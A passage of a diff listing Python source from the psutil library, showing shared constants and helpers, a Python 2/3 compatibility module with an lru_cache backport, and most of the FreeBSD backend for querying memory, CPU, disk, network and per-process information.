AF_INET6 = getattr(socket, 'AF_INET6', None)
|
||||
AF_UNIX = getattr(socket, 'AF_UNIX', None)
|
||||
|
||||
STATUS_RUNNING = "running"
|
||||
STATUS_SLEEPING = "sleeping"
|
||||
STATUS_DISK_SLEEP = "disk-sleep"
|
||||
STATUS_STOPPED = "stopped"
|
||||
STATUS_TRACING_STOP = "tracing-stop"
|
||||
STATUS_ZOMBIE = "zombie"
|
||||
STATUS_DEAD = "dead"
|
||||
STATUS_WAKE_KILL = "wake-kill"
|
||||
STATUS_WAKING = "waking"
|
||||
STATUS_IDLE = "idle" # BSD
|
||||
STATUS_LOCKED = "locked" # BSD
|
||||
STATUS_WAITING = "waiting" # BSD
|
||||
|
||||
CONN_ESTABLISHED = "ESTABLISHED"
|
||||
CONN_SYN_SENT = "SYN_SENT"
|
||||
CONN_SYN_RECV = "SYN_RECV"
|
||||
CONN_FIN_WAIT1 = "FIN_WAIT1"
|
||||
CONN_FIN_WAIT2 = "FIN_WAIT2"
|
||||
CONN_TIME_WAIT = "TIME_WAIT"
|
||||
CONN_CLOSE = "CLOSE"
|
||||
CONN_CLOSE_WAIT = "CLOSE_WAIT"
|
||||
CONN_LAST_ACK = "LAST_ACK"
|
||||
CONN_LISTEN = "LISTEN"
|
||||
CONN_CLOSING = "CLOSING"
|
||||
CONN_NONE = "NONE"
|
||||
|
||||
if enum is None:
|
||||
NIC_DUPLEX_FULL = 2
|
||||
NIC_DUPLEX_HALF = 1
|
||||
NIC_DUPLEX_UNKNOWN = 0
|
||||
else:
|
||||
class NicDuplex(enum.IntEnum):
|
||||
NIC_DUPLEX_FULL = 2
|
||||
NIC_DUPLEX_HALF = 1
|
||||
NIC_DUPLEX_UNKNOWN = 0
|
||||
|
||||
globals().update(NicDuplex.__members__)
|
||||
|
||||
|
||||
# --- functions
|
||||
|
||||
def usage_percent(used, total, _round=None):
|
||||
"""Calculate percentage usage of 'used' against 'total'."""
|
||||
try:
|
||||
ret = (used / total) * 100
|
||||
except ZeroDivisionError:
|
||||
ret = 0
|
||||
if _round is not None:
|
||||
return round(ret, _round)
|
||||
else:
|
||||
return ret
|
||||
|
||||
|
||||
def memoize(fun):
|
||||
"""A simple memoize decorator for functions supporting (hashable)
|
||||
positional arguments.
|
||||
It also provides a cache_clear() function for clearing the cache:
|
||||
|
||||
>>> @memoize
|
||||
... def foo()
|
||||
... return 1
|
||||
...
|
||||
>>> foo()
|
||||
1
|
||||
>>> foo.cache_clear()
|
||||
>>>
|
||||
"""
|
||||
@functools.wraps(fun)
|
||||
def wrapper(*args, **kwargs):
|
||||
key = (args, frozenset(sorted(kwargs.items())))
|
||||
lock.acquire()
|
||||
try:
|
||||
try:
|
||||
return cache[key]
|
||||
except KeyError:
|
||||
ret = cache[key] = fun(*args, **kwargs)
|
||||
finally:
|
||||
lock.release()
|
||||
return ret
|
||||
|
||||
def cache_clear():
|
||||
"""Clear cache."""
|
||||
lock.acquire()
|
||||
try:
|
||||
cache.clear()
|
||||
finally:
|
||||
lock.release()
|
||||
|
||||
lock = threading.RLock()
|
||||
cache = {}
|
||||
wrapper.cache_clear = cache_clear
|
||||
return wrapper
|
||||
|
||||
|
||||
def isfile_strict(path):
|
||||
"""Same as os.path.isfile() but does not swallow EACCES / EPERM
|
||||
exceptions, see:
|
||||
http://mail.python.org/pipermail/python-dev/2012-June/120787.html
|
||||
"""
|
||||
try:
|
||||
st = os.stat(path)
|
||||
except OSError as err:
|
||||
if err.errno in (errno.EPERM, errno.EACCES):
|
||||
raise
|
||||
return False
|
||||
else:
|
||||
return stat.S_ISREG(st.st_mode)
|
||||
|
||||
|
||||
def sockfam_to_enum(num):
|
||||
"""Convert a numeric socket family value to an IntEnum member.
|
||||
If it's not a known member, return the numeric value itself.
|
||||
"""
|
||||
if enum is None:
|
||||
return num
|
||||
try:
|
||||
return socket.AddressFamily(num)
|
||||
except (ValueError, AttributeError):
|
||||
return num
|
||||
|
||||
|
||||
def socktype_to_enum(num):
|
||||
"""Convert a numeric socket type value to an IntEnum member.
|
||||
If it's not a known member, return the numeric value itself.
|
||||
"""
|
||||
if enum is None:
|
||||
return num
|
||||
try:
|
||||
return socket.AddressType(num)
|
||||
except (ValueError, AttributeError):
|
||||
return num
|
||||
|
||||
|
||||
# --- Process.connections() 'kind' parameter mapping
|
||||
|
||||
conn_tmap = {
|
||||
"all": ([AF_INET, AF_INET6, AF_UNIX], [SOCK_STREAM, SOCK_DGRAM]),
|
||||
"tcp": ([AF_INET, AF_INET6], [SOCK_STREAM]),
|
||||
"tcp4": ([AF_INET], [SOCK_STREAM]),
|
||||
"udp": ([AF_INET, AF_INET6], [SOCK_DGRAM]),
|
||||
"udp4": ([AF_INET], [SOCK_DGRAM]),
|
||||
"inet": ([AF_INET, AF_INET6], [SOCK_STREAM, SOCK_DGRAM]),
|
||||
"inet4": ([AF_INET], [SOCK_STREAM, SOCK_DGRAM]),
|
||||
"inet6": ([AF_INET6], [SOCK_STREAM, SOCK_DGRAM]),
|
||||
}
|
||||
|
||||
if AF_INET6 is not None:
|
||||
conn_tmap.update({
|
||||
"tcp6": ([AF_INET6], [SOCK_STREAM]),
|
||||
"udp6": ([AF_INET6], [SOCK_DGRAM]),
|
||||
})
|
||||
|
||||
if AF_UNIX is not None:
|
||||
conn_tmap.update({
|
||||
"unix": ([AF_UNIX], [SOCK_STREAM, SOCK_DGRAM]),
|
||||
})
|
||||
|
||||
del AF_INET, AF_INET6, AF_UNIX, SOCK_STREAM, SOCK_DGRAM
|
||||
|
||||
|
||||
# --- namedtuples for psutil.* system-related functions
|
||||
|
||||
# psutil.swap_memory()
|
||||
sswap = namedtuple('sswap', ['total', 'used', 'free', 'percent', 'sin',
|
||||
'sout'])
|
||||
# psutil.disk_usage()
|
||||
sdiskusage = namedtuple('sdiskusage', ['total', 'used', 'free', 'percent'])
|
||||
# psutil.disk_io_counters()
|
||||
sdiskio = namedtuple('sdiskio', ['read_count', 'write_count',
|
||||
'read_bytes', 'write_bytes',
|
||||
'read_time', 'write_time'])
|
||||
# psutil.disk_partitions()
|
||||
sdiskpart = namedtuple('sdiskpart', ['device', 'mountpoint', 'fstype', 'opts'])
|
||||
# psutil.net_io_counters()
|
||||
snetio = namedtuple('snetio', ['bytes_sent', 'bytes_recv',
|
||||
'packets_sent', 'packets_recv',
|
||||
'errin', 'errout',
|
||||
'dropin', 'dropout'])
|
||||
# psutil.users()
|
||||
suser = namedtuple('suser', ['name', 'terminal', 'host', 'started'])
|
||||
# psutil.net_connections()
|
||||
sconn = namedtuple('sconn', ['fd', 'family', 'type', 'laddr', 'raddr',
|
||||
'status', 'pid'])
|
||||
# psutil.net_if_addrs()
|
||||
snic = namedtuple('snic', ['family', 'address', 'netmask', 'broadcast', 'ptp'])
|
||||
# psutil.net_if_stats()
|
||||
snicstats = namedtuple('snicstats', ['isup', 'duplex', 'speed', 'mtu'])
|
||||
|
||||
|
||||
# --- namedtuples for psutil.Process methods
|
||||
|
||||
# psutil.Process.memory_info()
|
||||
pmem = namedtuple('pmem', ['rss', 'vms'])
|
||||
# psutil.Process.cpu_times()
|
||||
pcputimes = namedtuple('pcputimes', ['user', 'system'])
|
||||
# psutil.Process.open_files()
|
||||
popenfile = namedtuple('popenfile', ['path', 'fd'])
|
||||
# psutil.Process.threads()
|
||||
pthread = namedtuple('pthread', ['id', 'user_time', 'system_time'])
|
||||
# psutil.Process.uids()
|
||||
puids = namedtuple('puids', ['real', 'effective', 'saved'])
|
||||
# psutil.Process.gids()
|
||||
pgids = namedtuple('pgids', ['real', 'effective', 'saved'])
|
||||
# psutil.Process.io_counters()
|
||||
pio = namedtuple('pio', ['read_count', 'write_count',
|
||||
'read_bytes', 'write_bytes'])
|
||||
# psutil.Process.ionice()
|
||||
pionice = namedtuple('pionice', ['ioclass', 'value'])
|
||||
# psutil.Process.ctx_switches()
|
||||
pctxsw = namedtuple('pctxsw', ['voluntary', 'involuntary'])
|
||||
# psutil.Process.connections()
|
||||
pconn = namedtuple('pconn', ['fd', 'family', 'type', 'laddr', 'raddr',
|
||||
'status'])
|
|
@ -0,0 +1,189 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved.
|
||||
# Use of this source code is governed by a BSD-style license that can be
|
||||
# found in the LICENSE file.
|
||||
|
||||
"""Module which provides compatibility with older Python versions."""
|
||||
|
||||
import collections
|
||||
import functools
|
||||
import sys
|
||||
|
||||
__all__ = ["PY3", "long", "xrange", "unicode", "callable", "lru_cache"]
|
||||
|
||||
PY3 = sys.version_info[0] == 3
|
||||
|
||||
if PY3:
|
||||
long = int
|
||||
xrange = range
|
||||
unicode = str
|
||||
|
||||
def u(s):
|
||||
return s
|
||||
else:
|
||||
long = long
|
||||
xrange = xrange
|
||||
unicode = unicode
|
||||
|
||||
def u(s):
|
||||
return unicode(s, "unicode_escape")
|
||||
|
||||
|
||||
# removed in 3.0, reintroduced in 3.2
|
||||
try:
|
||||
callable = callable
|
||||
except NameError:
|
||||
def callable(obj):
|
||||
return any("__call__" in klass.__dict__ for klass in type(obj).__mro__)
|
||||
|
||||
|
||||
# --- stdlib additions
|
||||
|
||||
|
||||
# py 3.2 functools.lru_cache
|
||||
# Taken from: http://code.activestate.com/recipes/578078
|
||||
# Credit: Raymond Hettinger
|
||||
try:
|
||||
from functools import lru_cache
|
||||
except ImportError:
|
||||
try:
|
||||
from threading import RLock
|
||||
except ImportError:
|
||||
from dummy_threading import RLock
|
||||
|
||||
_CacheInfo = collections.namedtuple(
|
||||
"CacheInfo", ["hits", "misses", "maxsize", "currsize"])
|
||||
|
||||
class _HashedSeq(list):
|
||||
__slots__ = 'hashvalue'
|
||||
|
||||
def __init__(self, tup, hash=hash):
|
||||
self[:] = tup
|
||||
self.hashvalue = hash(tup)
|
||||
|
||||
def __hash__(self):
|
||||
return self.hashvalue
|
||||
|
||||
def _make_key(args, kwds, typed,
|
||||
kwd_mark=(object(), ),
|
||||
fasttypes=set((int, str, frozenset, type(None))),
|
||||
sorted=sorted, tuple=tuple, type=type, len=len):
|
||||
key = args
|
||||
if kwds:
|
||||
sorted_items = sorted(kwds.items())
|
||||
key += kwd_mark
|
||||
for item in sorted_items:
|
||||
key += item
|
||||
if typed:
|
||||
key += tuple(type(v) for v in args)
|
||||
if kwds:
|
||||
key += tuple(type(v) for k, v in sorted_items)
|
||||
elif len(key) == 1 and type(key[0]) in fasttypes:
|
||||
return key[0]
|
||||
return _HashedSeq(key)
|
||||
|
||||
def lru_cache(maxsize=100, typed=False):
|
||||
"""Least-recently-used cache decorator, see:
|
||||
http://docs.python.org/3/library/functools.html#functools.lru_cache
|
||||
"""
|
||||
def decorating_function(user_function):
|
||||
cache = dict()
|
||||
stats = [0, 0]
|
||||
HITS, MISSES = 0, 1
|
||||
make_key = _make_key
|
||||
cache_get = cache.get
|
||||
_len = len
|
||||
lock = RLock()
|
||||
root = []
|
||||
root[:] = [root, root, None, None]
|
||||
nonlocal_root = [root]
|
||||
PREV, NEXT, KEY, RESULT = 0, 1, 2, 3
|
||||
if maxsize == 0:
|
||||
def wrapper(*args, **kwds):
|
||||
result = user_function(*args, **kwds)
|
||||
stats[MISSES] += 1
|
||||
return result
|
||||
elif maxsize is None:
|
||||
def wrapper(*args, **kwds):
|
||||
key = make_key(args, kwds, typed)
|
||||
result = cache_get(key, root)
|
||||
if result is not root:
|
||||
stats[HITS] += 1
|
||||
return result
|
||||
result = user_function(*args, **kwds)
|
||||
cache[key] = result
|
||||
stats[MISSES] += 1
|
||||
return result
|
||||
else:
|
||||
def wrapper(*args, **kwds):
|
||||
if kwds or typed:
|
||||
key = make_key(args, kwds, typed)
|
||||
else:
|
||||
key = args
|
||||
lock.acquire()
|
||||
try:
|
||||
link = cache_get(key)
|
||||
if link is not None:
|
||||
root, = nonlocal_root
|
||||
link_prev, link_next, key, result = link
|
||||
link_prev[NEXT] = link_next
|
||||
link_next[PREV] = link_prev
|
||||
last = root[PREV]
|
||||
last[NEXT] = root[PREV] = link
|
||||
link[PREV] = last
|
||||
link[NEXT] = root
|
||||
stats[HITS] += 1
|
||||
return result
|
||||
finally:
|
||||
lock.release()
|
||||
result = user_function(*args, **kwds)
|
||||
lock.acquire()
|
||||
try:
|
||||
root, = nonlocal_root
|
||||
if key in cache:
|
||||
pass
|
||||
elif _len(cache) >= maxsize:
|
||||
oldroot = root
|
||||
oldroot[KEY] = key
|
||||
oldroot[RESULT] = result
|
||||
root = nonlocal_root[0] = oldroot[NEXT]
|
||||
oldkey = root[KEY]
|
||||
root[KEY] = root[RESULT] = None
|
||||
del cache[oldkey]
|
||||
cache[key] = oldroot
|
||||
else:
|
||||
last = root[PREV]
|
||||
link = [last, root, key, result]
|
||||
last[NEXT] = root[PREV] = cache[key] = link
|
||||
stats[MISSES] += 1
|
||||
finally:
|
||||
lock.release()
|
||||
return result
|
||||
|
||||
def cache_info():
|
||||
"""Report cache statistics"""
|
||||
lock.acquire()
|
||||
try:
|
||||
return _CacheInfo(stats[HITS], stats[MISSES], maxsize,
|
||||
len(cache))
|
||||
finally:
|
||||
lock.release()
|
||||
|
||||
def cache_clear():
|
||||
"""Clear the cache and cache statistics"""
|
||||
lock.acquire()
|
||||
try:
|
||||
cache.clear()
|
||||
root = nonlocal_root[0]
|
||||
root[:] = [root, root, None, None]
|
||||
stats[:] = [0, 0]
|
||||
finally:
|
||||
lock.release()
|
||||
|
||||
wrapper.__wrapped__ = user_function
|
||||
wrapper.cache_info = cache_info
|
||||
wrapper.cache_clear = cache_clear
|
||||
return functools.update_wrapper(wrapper, user_function)
|
||||
|
||||
return decorating_function
|
|
@ -0,0 +1,455 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved.
|
||||
# Use of this source code is governed by a BSD-style license that can be
|
||||
# found in the LICENSE file.
|
||||
|
||||
"""FreeBSD platform implementation."""
|
||||
|
||||
import errno
|
||||
import functools
|
||||
import os
|
||||
import xml.etree.ElementTree as ET
|
||||
from collections import namedtuple
|
||||
|
||||
from . import _common
|
||||
from . import _psposix
|
||||
from . import _psutil_bsd as cext
|
||||
from . import _psutil_posix as cext_posix
|
||||
from ._common import conn_tmap, usage_percent, sockfam_to_enum
|
||||
from ._common import socktype_to_enum
|
||||
|
||||
|
||||
__extra__all__ = []
|
||||
|
||||
# --- constants
|
||||
|
||||
PROC_STATUSES = {
|
||||
cext.SSTOP: _common.STATUS_STOPPED,
|
||||
cext.SSLEEP: _common.STATUS_SLEEPING,
|
||||
cext.SRUN: _common.STATUS_RUNNING,
|
||||
cext.SIDL: _common.STATUS_IDLE,
|
||||
cext.SWAIT: _common.STATUS_WAITING,
|
||||
cext.SLOCK: _common.STATUS_LOCKED,
|
||||
cext.SZOMB: _common.STATUS_ZOMBIE,
|
||||
}
|
||||
|
||||
TCP_STATUSES = {
|
||||
cext.TCPS_ESTABLISHED: _common.CONN_ESTABLISHED,
|
||||
cext.TCPS_SYN_SENT: _common.CONN_SYN_SENT,
|
||||
cext.TCPS_SYN_RECEIVED: _common.CONN_SYN_RECV,
|
||||
cext.TCPS_FIN_WAIT_1: _common.CONN_FIN_WAIT1,
|
||||
cext.TCPS_FIN_WAIT_2: _common.CONN_FIN_WAIT2,
|
||||
cext.TCPS_TIME_WAIT: _common.CONN_TIME_WAIT,
|
||||
cext.TCPS_CLOSED: _common.CONN_CLOSE,
|
||||
cext.TCPS_CLOSE_WAIT: _common.CONN_CLOSE_WAIT,
|
||||
cext.TCPS_LAST_ACK: _common.CONN_LAST_ACK,
|
||||
cext.TCPS_LISTEN: _common.CONN_LISTEN,
|
||||
cext.TCPS_CLOSING: _common.CONN_CLOSING,
|
||||
cext.PSUTIL_CONN_NONE: _common.CONN_NONE,
|
||||
}
|
||||
|
||||
PAGESIZE = os.sysconf("SC_PAGE_SIZE")
|
||||
AF_LINK = cext_posix.AF_LINK
|
||||
|
||||
# extend base mem ntuple with BSD-specific memory metrics
|
||||
svmem = namedtuple(
|
||||
'svmem', ['total', 'available', 'percent', 'used', 'free',
|
||||
'active', 'inactive', 'buffers', 'cached', 'shared', 'wired'])
|
||||
scputimes = namedtuple(
|
||||
'scputimes', ['user', 'nice', 'system', 'idle', 'irq'])
|
||||
pextmem = namedtuple('pextmem', ['rss', 'vms', 'text', 'data', 'stack'])
|
||||
pmmap_grouped = namedtuple(
|
||||
'pmmap_grouped', 'path rss, private, ref_count, shadow_count')
|
||||
pmmap_ext = namedtuple(
|
||||
'pmmap_ext', 'addr, perms path rss, private, ref_count, shadow_count')
|
||||
|
||||
# set later from __init__.py
|
||||
NoSuchProcess = None
|
||||
ZombieProcess = None
|
||||
AccessDenied = None
|
||||
TimeoutExpired = None
|
||||
|
||||
|
||||
def virtual_memory():
|
||||
"""System virtual memory as a namedtuple."""
|
||||
mem = cext.virtual_mem()
|
||||
total, free, active, inactive, wired, cached, buffers, shared = mem
|
||||
avail = inactive + cached + free
|
||||
used = active + wired + cached
|
||||
percent = usage_percent((total - avail), total, _round=1)
|
||||
return svmem(total, avail, percent, used, free,
|
||||
active, inactive, buffers, cached, shared, wired)
|
||||
|
||||
|
||||
def swap_memory():
|
||||
"""System swap memory as (total, used, free, sin, sout) namedtuple."""
|
||||
total, used, free, sin, sout = [x * PAGESIZE for x in cext.swap_mem()]
|
||||
percent = usage_percent(used, total, _round=1)
|
||||
return _common.sswap(total, used, free, percent, sin, sout)
|
||||
|
||||
|
||||
def cpu_times():
|
||||
"""Return system per-CPU times as a namedtuple"""
|
||||
user, nice, system, idle, irq = cext.cpu_times()
|
||||
return scputimes(user, nice, system, idle, irq)
|
||||
|
||||
|
||||
if hasattr(cext, "per_cpu_times"):
|
||||
def per_cpu_times():
|
||||
"""Return system CPU times as a namedtuple"""
|
||||
ret = []
|
||||
for cpu_t in cext.per_cpu_times():
|
||||
user, nice, system, idle, irq = cpu_t
|
||||
item = scputimes(user, nice, system, idle, irq)
|
||||
ret.append(item)
|
||||
return ret
|
||||
else:
|
||||
# XXX
|
||||
# Ok, this is very dirty.
|
||||
# On FreeBSD < 8 we cannot gather per-cpu information, see:
|
||||
# https://github.com/giampaolo/psutil/issues/226
|
||||
# If num cpus > 1, on first call we return single cpu times to avoid a
|
||||
# crash at psutil import time.
|
||||
# Next calls will fail with NotImplementedError
|
||||
def per_cpu_times():
|
||||
if cpu_count_logical() == 1:
|
||||
return [cpu_times()]
|
||||
if per_cpu_times.__called__:
|
||||
raise NotImplementedError("supported only starting from FreeBSD 8")
|
||||
per_cpu_times.__called__ = True
|
||||
return [cpu_times()]
|
||||
|
||||
per_cpu_times.__called__ = False
|
||||
|
||||
|
||||
def cpu_count_logical():
|
||||
"""Return the number of logical CPUs in the system."""
|
||||
return cext.cpu_count_logical()
|
||||
|
||||
|
||||
def cpu_count_physical():
|
||||
"""Return the number of physical CPUs in the system."""
|
||||
# From the C module we'll get an XML string similar to this:
|
||||
# http://manpages.ubuntu.com/manpages/precise/man4/smp.4freebsd.html
|
||||
# We may get None in case "sysctl kern.sched.topology_spec"
|
||||
# is not supported on this BSD version, in which case we'll mimic
|
||||
# os.cpu_count() and return None.
|
||||
ret = None
|
||||
s = cext.cpu_count_phys()
|
||||
if s is not None:
|
||||
# get rid of padding chars appended at the end of the string
|
||||
index = s.rfind("</groups>")
|
||||
if index != -1:
|
||||
s = s[:index + 9]
|
||||
root = ET.fromstring(s)
|
||||
try:
|
||||
ret = len(root.findall('group/children/group/cpu')) or None
|
||||
finally:
|
||||
# needed otherwise it will memleak
|
||||
root.clear()
|
||||
if not ret:
|
||||
# If logical CPUs are 1 it's obvious we'll have only 1
|
||||
# physical CPU.
|
||||
if cpu_count_logical() == 1:
|
||||
return 1
|
||||
return ret
|
||||
|
||||
|
||||
def boot_time():
|
||||
"""The system boot time expressed in seconds since the epoch."""
|
||||
return cext.boot_time()
|
||||
|
||||
|
||||
def disk_partitions(all=False):
|
||||
retlist = []
|
||||
partitions = cext.disk_partitions()
|
||||
for partition in partitions:
|
||||
device, mountpoint, fstype, opts = partition
|
||||
if device == 'none':
|
||||
device = ''
|
||||
if not all:
|
||||
if not os.path.isabs(device) or not os.path.exists(device):
|
||||
continue
|
||||
ntuple = _common.sdiskpart(device, mountpoint, fstype, opts)
|
||||
retlist.append(ntuple)
|
||||
return retlist
|
||||
|
||||
|
||||
def users():
|
||||
retlist = []
|
||||
rawlist = cext.users()
|
||||
for item in rawlist:
|
||||
user, tty, hostname, tstamp = item
|
||||
if tty == '~':
|
||||
continue # reboot or shutdown
|
||||
nt = _common.suser(user, tty or None, hostname, tstamp)
|
||||
retlist.append(nt)
|
||||
return retlist
|
||||
|
||||
|
||||
def net_connections(kind):
|
||||
if kind not in _common.conn_tmap:
|
||||
raise ValueError("invalid %r kind argument; choose between %s"
|
||||
% (kind, ', '.join([repr(x) for x in conn_tmap])))
|
||||
families, types = conn_tmap[kind]
|
||||
ret = set()
|
||||
rawlist = cext.net_connections()
|
||||
for item in rawlist:
|
||||
fd, fam, type, laddr, raddr, status, pid = item
|
||||
# TODO: apply filter at C level
|
||||
if fam in families and type in types:
|
||||
try:
|
||||
status = TCP_STATUSES[status]
|
||||
except KeyError:
|
||||
# XXX: Not sure why this happens. I saw this occurring
|
||||
# with IPv6 sockets opened by 'vim'. Those sockets
|
||||
# have a very short lifetime so maybe the kernel
|
||||
# can't initialize their status?
|
||||
status = TCP_STATUSES[cext.PSUTIL_CONN_NONE]
|
||||
fam = sockfam_to_enum(fam)
|
||||
type = socktype_to_enum(type)
|
||||
nt = _common.sconn(fd, fam, type, laddr, raddr, status, pid)
|
||||
ret.add(nt)
|
||||
return list(ret)
|
||||
|
||||
|
||||
def net_if_stats():
|
||||
"""Get NIC stats (isup, duplex, speed, mtu)."""
|
||||
names = net_io_counters().keys()
|
||||
ret = {}
|
||||
for name in names:
|
||||
isup, duplex, speed, mtu = cext_posix.net_if_stats(name)
|
||||
if hasattr(_common, 'NicDuplex'):
|
||||
duplex = _common.NicDuplex(duplex)
|
||||
ret[name] = _common.snicstats(isup, duplex, speed, mtu)
|
||||
return ret
|
||||
|
||||
|
||||
pids = cext.pids
|
||||
pid_exists = _psposix.pid_exists
|
||||
disk_usage = _psposix.disk_usage
|
||||
net_io_counters = cext.net_io_counters
|
||||
disk_io_counters = cext.disk_io_counters
|
||||
net_if_addrs = cext_posix.net_if_addrs
|
||||
|
||||
|
||||
def wrap_exceptions(fun):
|
||||
"""Decorator which translates bare OSError exceptions into
|
||||
NoSuchProcess and AccessDenied.
|
||||
"""
|
||||
@functools.wraps(fun)
|
||||
def wrapper(self, *args, **kwargs):
|
||||
try:
|
||||
return fun(self, *args, **kwargs)
|
||||
except OSError as err:
|
||||
# support for private module import
|
||||
if (NoSuchProcess is None or AccessDenied is None or
|
||||
ZombieProcess is None):
|
||||
raise
|
||||
if err.errno == errno.ESRCH:
|
||||
if not pid_exists(self.pid):
|
||||
raise NoSuchProcess(self.pid, self._name)
|
||||
else:
|
||||
raise ZombieProcess(self.pid, self._name, self._ppid)
|
||||
if err.errno in (errno.EPERM, errno.EACCES):
|
||||
raise AccessDenied(self.pid, self._name)
|
||||
raise
|
||||
return wrapper
|
||||
|
||||
|
||||
class Process(object):
|
||||
"""Wrapper class around underlying C implementation."""
|
||||
|
||||
__slots__ = ["pid", "_name", "_ppid"]
|
||||
|
||||
def __init__(self, pid):
|
||||
self.pid = pid
|
||||
self._name = None
|
||||
self._ppid = None
|
||||
|
||||
@wrap_exceptions
|
||||
def name(self):
|
||||
return cext.proc_name(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def exe(self):
|
||||
return cext.proc_exe(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def cmdline(self):
|
||||
return cext.proc_cmdline(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def terminal(self):
|
||||
tty_nr = cext.proc_tty_nr(self.pid)
|
||||
tmap = _psposix._get_terminal_map()
|
||||
try:
|
||||
return tmap[tty_nr]
|
||||
except KeyError:
|
||||
return None
|
||||
|
||||
@wrap_exceptions
|
||||
def ppid(self):
|
||||
return cext.proc_ppid(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def uids(self):
|
||||
real, effective, saved = cext.proc_uids(self.pid)
|
||||
return _common.puids(real, effective, saved)
|
||||
|
||||
@wrap_exceptions
|
||||
def gids(self):
|
||||
real, effective, saved = cext.proc_gids(self.pid)
|
||||
return _common.pgids(real, effective, saved)
|
||||
|
||||
@wrap_exceptions
|
||||
def cpu_times(self):
|
||||
user, system = cext.proc_cpu_times(self.pid)
|
||||
return _common.pcputimes(user, system)
|
||||
|
||||
@wrap_exceptions
|
||||
def memory_info(self):
|
||||
rss, vms = cext.proc_memory_info(self.pid)[:2]
|
||||
return _common.pmem(rss, vms)
|
||||
|
||||
@wrap_exceptions
|
||||
def memory_info_ex(self):
|
||||
return pextmem(*cext.proc_memory_info(self.pid))
|
||||
|
||||
@wrap_exceptions
|
||||
def create_time(self):
|
||||
return cext.proc_create_time(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def num_threads(self):
|
||||
return cext.proc_num_threads(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def num_ctx_switches(self):
|
||||
return _common.pctxsw(*cext.proc_num_ctx_switches(self.pid))
|
||||
|
||||
@wrap_exceptions
|
||||
def threads(self):
|
||||
rawlist = cext.proc_threads(self.pid)
|
||||
retlist = []
|
||||
for thread_id, utime, stime in rawlist:
|
||||
ntuple = _common.pthread(thread_id, utime, stime)
|
||||
retlist.append(ntuple)
|
||||
return retlist
|
||||
|
||||
@wrap_exceptions
|
||||
def connections(self, kind='inet'):
|
||||
if kind not in conn_tmap:
|
||||
raise ValueError("invalid %r kind argument; choose between %s"
|
||||
% (kind, ', '.join([repr(x) for x in conn_tmap])))
|
||||
families, types = conn_tmap[kind]
|
||||
rawlist = cext.proc_connections(self.pid, families, types)
|
||||
ret = []
|
||||
for item in rawlist:
|
||||
fd, fam, type, laddr, raddr, status = item
|
||||
fam = sockfam_to_enum(fam)
|
||||
type = socktype_to_enum(type)
|
||||
status = TCP_STATUSES[status]
|
||||
nt = _common.pconn(fd, fam, type, laddr, raddr, status)
|
||||
ret.append(nt)
|
||||
return ret
|
||||
|
||||
@wrap_exceptions
|
||||
def wait(self, timeout=None):
|
||||
try:
|
||||
return _psposix.wait_pid(self.pid, timeout)
|
||||
except _psposix.TimeoutExpired:
|
||||
# support for private module import
|
||||
if TimeoutExpired is None:
|
||||
raise
|
||||
raise TimeoutExpired(timeout, self.pid, self._name)
|
||||
|
||||
@wrap_exceptions
|
||||
def nice_get(self):
|
||||
return cext_posix.getpriority(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def nice_set(self, value):
|
||||
return cext_posix.setpriority(self.pid, value)
|
||||
|
||||
@wrap_exceptions
|
||||
def status(self):
|
||||
code = cext.proc_status(self.pid)
|
||||
if code in PROC_STATUSES:
|
||||
return PROC_STATUSES[code]
|
||||
# XXX is this legit? will we even ever get here?
|
||||
return "?"
|
||||
|
||||
@wrap_exceptions
|
||||
def io_counters(self):
|
||||
rc, wc, rb, wb = cext.proc_io_counters(self.pid)
|
||||
return _common.pio(rc, wc, rb, wb)
|
||||
|
||||
nt_mmap_grouped = namedtuple(
|
||||
'mmap', 'path rss, private, ref_count, shadow_count')
|
||||
nt_mmap_ext = namedtuple(
|
||||
'mmap', 'addr, perms path rss, private, ref_count, shadow_count')
|
||||
|
||||
# FreeBSD < 8 does not support functions based on kinfo_getfile()
|
||||
# and kinfo_getvmmap()
|
||||
if hasattr(cext, 'proc_open_files'):
|
||||
|
||||
@wrap_exceptions
|
||||
def open_files(self):
|
||||
"""Return files opened by process as a list of namedtuples."""
|
||||
rawlist = cext.proc_open_files(self.pid)
|
||||
return [_common.popenfile(path, fd) for path, fd in rawlist]
|
||||
|
||||
@wrap_exceptions
|
||||
def cwd(self):
|
||||
"""Return process current working directory."""
|
||||
# sometimes we get an empty string, in which case we turn
|
||||
# it into None
|
||||
return cext.proc_cwd(self.pid) or None
|
||||
|
||||
@wrap_exceptions
|
||||
def memory_maps(self):
|
||||
return cext.proc_memory_maps(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def num_fds(self):
|
||||
"""Return the number of file descriptors opened by this process."""
|
||||
return cext.proc_num_fds(self.pid)
|
||||
|
||||
else:
|
||||
def _not_implemented(self):
|
||||
raise NotImplementedError("supported only starting from FreeBSD 8")
|
||||
|
||||
open_files = _not_implemented
|
||||
proc_cwd = _not_implemented
|
||||
memory_maps = _not_implemented
|
||||
num_fds = _not_implemented
|
||||
|
||||
@wrap_exceptions
|
||||
def cpu_affinity_get(self):
|
||||
return cext.proc_cpu_affinity_get(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def cpu_affinity_set(self, cpus):
|
||||
# Pre-emptively check if CPUs are valid because the C
|
||||
# function has a weird behavior in case of invalid CPUs,
|
||||
# see: https://github.com/giampaolo/psutil/issues/586
|
||||
allcpus = tuple(range(len(per_cpu_times())))
|
||||
for cpu in cpus:
|
||||
if cpu not in allcpus:
|
||||
raise ValueError("invalid CPU #%i (choose between %s)"
|
||||
% (cpu, allcpus))
|
||||
try:
|
||||
cext.proc_cpu_affinity_set(self.pid, cpus)
|
||||
except OSError as err:
|
||||
# 'man cpuset_setaffinity' about EDEADLK:
|
||||
# <<the call would leave a thread without a valid CPU to run
|
||||
# on because the set does not overlap with the thread's
|
||||
# anonymous mask>>
|
||||
if err.errno in (errno.EINVAL, errno.EDEADLK):
|
||||
for cpu in cpus:
|
||||
if cpu not in allcpus:
|
||||
raise ValueError("invalid CPU #%i (choose between %s)"
|
